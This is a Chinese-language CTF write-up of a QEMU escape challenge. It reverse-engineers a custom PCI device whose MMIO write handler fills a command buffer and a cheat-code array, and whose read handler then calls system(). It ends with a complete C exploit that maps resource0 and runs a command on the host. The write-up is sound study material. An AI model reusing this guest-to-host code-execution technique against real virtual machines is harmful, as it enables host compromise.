1 2 3 4 5 6 7 8 9 10 11 12 13 __int64 __fastcall sub_5713A8 (__int64 a1) { __int64 result; result = sub_70031D(a1, "pci-device" , "/home/wang/qemu/hw/misc/myrfid.c" , 369LL , "rfid_class_init" ); *(_QWORD *)(result + 176 ) = qxl_reset_handler; *(_QWORD *)(result + 184 ) = 0LL ; *(_WORD *)(result + 208 ) = 0x420 ; [1 ] <<- vendor_id *(_WORD *)(result + 210 ) = 0x1337 ; [2 ] <<- device_id *(_BYTE *)(result + 212 ) = 0x69 ; *(_WORD *)(result + 214 ) = 0xFF ; return result; }
这个和源码对应关系如下
1 2 3 4 5 6 7 8 9 10 11 12 static void qxl_pci_class_init (ObjectClass *klass, void *data) { DeviceClass *dc = DEVICE_CLASS(klass); PCIDeviceClass *k = PCI_DEVICE_CLASS(klass); k->vendor_id = REDHAT_PCI_VENDOR_ID; k->device_id = QXL_DEVICE_ID_STABLE; set_bit(DEVICE_CATEGORY_DISPLAY, dc->categories); dc->reset = qxl_reset_handler; dc->vmsd = &qxl_vmstate; device_class_set_props(dc, qxl_properties); }
凭借着厂商id和设备id就能找到总线上的位置 登入进去看到总线
1 2 3 4 5 6 7 8 # lspci -nvv 00:00.0 Class 0600: 8086:1237 00:01.3 Class 0680: 8086:7113 00:03.0 Class 0200: 8086:100e 00:01.1 Class 0101: 8086:7010 00:02.0 Class 0300: 1234:1111 00:01.0 Class 0601: 8086:7000 00:04.0 Class 00ff: 0420:1337 [1] <<- 是这个b
然后可以看到内存中的位置✨TODO
1 2 3 4 5 6 7 # cat /sys/devices/pci0000\:00/0000:00:04.0/resource 0x00000000fb000000 0x00000000fbffffff 0x0000000000040200 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 起始地址 终止地址 长度
注意 source是给用户看的 而resource0~10之类的是给我们open的 source就是整合了这些的表格
从handler 跟下去 发现有一处调用了函数数组
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 unsigned __int64 __fastcall sub_571043 (__int64 a1, __int64 a2) { unsigned __int64 v3; v3 = __readfsqword(0x28 u); sub_570742(*(_QWORD *)(a1 + 120 ), 1LL ); if ( !(unsigned int )sub_5C950D(a1, 0LL , 1LL , 1LL , 0LL , a2) ) { sub_570635(a1 + 2688 , 1LL , sub_570A2E, a1); sub_843CE1(a1 + 2520 ); sub_843FBD(a1 + 2576 ); sub_8449B4(a1 + 2512 , "rfid" , sub_570E7C, a1, 0LL ); sub_31B892(a1 + 2272 , a1, func_array, a1, "rfid-mmio" , &off_1000000); [1 ] <<- vuln sub_5C1EF2 (a1, 0LL , 0LL , a1 + 2272 ) ; } return __readfsqword(0x28 u) ^ v3; }
函数数组如下
1 2 .data.rel.ro:0000000000F E9720 func_array dq offset vuln ; DATA XREF: qxl_reset_handler+111 ↑o .data.rel.ro:0000000000F E9728 dq offset sub_570CEB
其实这就是个op表 里面放的是read write之类的 源码如下
1 2 3 4 5 6 7 8 static const MemoryRegionOps qxl_io_ops = { .read = ioport_read, .write = ioport_write, .valid = { .min_access_size = 1 , .max_access_size = 1 , }, };
终于来到了漏洞函数 只要让这个变量 和他对应的秘籍相同即可
1 2 3 4 5 6 7 8 9 10 11 12 __int64 __fastcall vuln (__int64 a1, unsigned __int64 a2) { size_t v2; if ( ((a2 >> 20 ) & 0xF ) != 15 ) { v2 = strlen (cheats); if ( !memcmp (byte_122FFE0, cheats, v2) ) system(command); } return 270438LL ; }
根据这个变量可以往上xref
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 _BYTE *__fastcall mmio_write (__int64 a1, unsigned __int64 dst, __int64 src, unsigned int num) { _BYTE *result; _DWORD n[3 ]; unsigned __int64 v6; __int64 v7; int v8; int idx; int v10; __int64 v11; v7 = a1; v6 = dst; *(_QWORD *)&n[1 ] = src; v11 = a1; v8 = (dst >> 20 ) & 0xF ; idx = (dst >> 16 ) & 0xF ; result = (_BYTE *)((dst >> 20 ) & 0xF ); switch ( (unsigned __int64)result ) { case 0uLL : result = byteArray; byteArray[idx] = 'w' ; break ; case 1uLL : result = byteArray; byteArray[idx] = 's' ; break ; case 2uLL : result = byteArray; byteArray[idx] = 'a' ; break ; case 3uLL : result = byteArray; byteArray[idx] = 'd' ; break ; case 4uLL : result = byteArray; byteArray[idx] = 'A' ; break ; case 5uLL : result = byteArray; byteArray[idx] = 'B' ; break ; case 6uLL : v10 = (unsigned __int16)v6; result = memcpy (&command[(unsigned __int16)v6], &n[1 ], num); break ; default : return result; } return result; }
这正是函数数组的第二个成员
1 2 .data.rel.ro:0000000000F E9720 func_array dq offset mmio_read ; DATA XREF: qxl_reset_handler+111 ↑o .data.rel.ro:0000000000F E9728 dq offset mmio_write
我们只需要往cmd里写入命令 然后写入秘籍 read的时候就能命令执行了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 #include <sys/io.h> #include <stdio.h> #include <string.h> #include <stdlib.h> #include <unistd.h> #include <sys/mman.h> #include <assert.h> #include <fcntl.h> #include <inttypes.h> #include <sys/types.h> #include "./head.h" #include <stdint.h> typedef uint64_t u64;unsigned char *mmio_mem;void mmio_read (u64 dst) { assert(dst + mmio_mem > mmio_mem); u64 ret = *((u64 *)(mmio_mem + dst)); Done("mmio_read" ); return ret; } void mmio_write (u64 cho, u64 idx, char chr) { u64 dst = ((cho & 0xf ) << 20 ); u64 val = 0 ; dst |= ((idx & 0xf ) << 16 ); Info("dst is %d" , dst); if (cho == 6 ){ val = chr; dst = idx; dst |= ((cho & 0xf ) << 20 ); } *((u64 *)(mmio_mem + dst)) = val; Done("mmio_write" ); } void write_cheats () { mmio_write(0 ,0 ,0 ); mmio_write(0 ,1 ,0 ); mmio_write(1 ,2 ,0 ); mmio_write(1 ,3 ,0 ); mmio_write(2 ,4 ,0 ); mmio_write(3 ,5 ,0 ); mmio_write(2 ,6 ,0 ); mmio_write(3 ,7 ,0 ); mmio_write(5 ,8 ,0 ); mmio_write(4 ,9 ,0 ); mmio_write(5 ,10 ,0 ); mmio_write(4 ,11 ,0 ); Done("write_cheats" ); } void write_cmd (char *cmd) { for (int i = 0 ; i < strlen (cmd); i++) mmio_write(6 , i, cmd[i]); } int main () { int mmio_fd = open( "/sys/devices/pci0000:00/0000:00:04.0/resource0" , O_RDWR | O_SYNC ); mmio_mem = mmap( 0 , 0x1000000 , PROT_WRITE | PROT_READ, MAP_SHARED, mmio_fd, 0 ); if (mmio_mem == MAP_FAILED) Abort("mmap" ); Info("mmio_mem is 0x%lx" , mmio_mem); write_cheats(); write_cmd("xcalc" ); mmio_read((1 << 20 )); }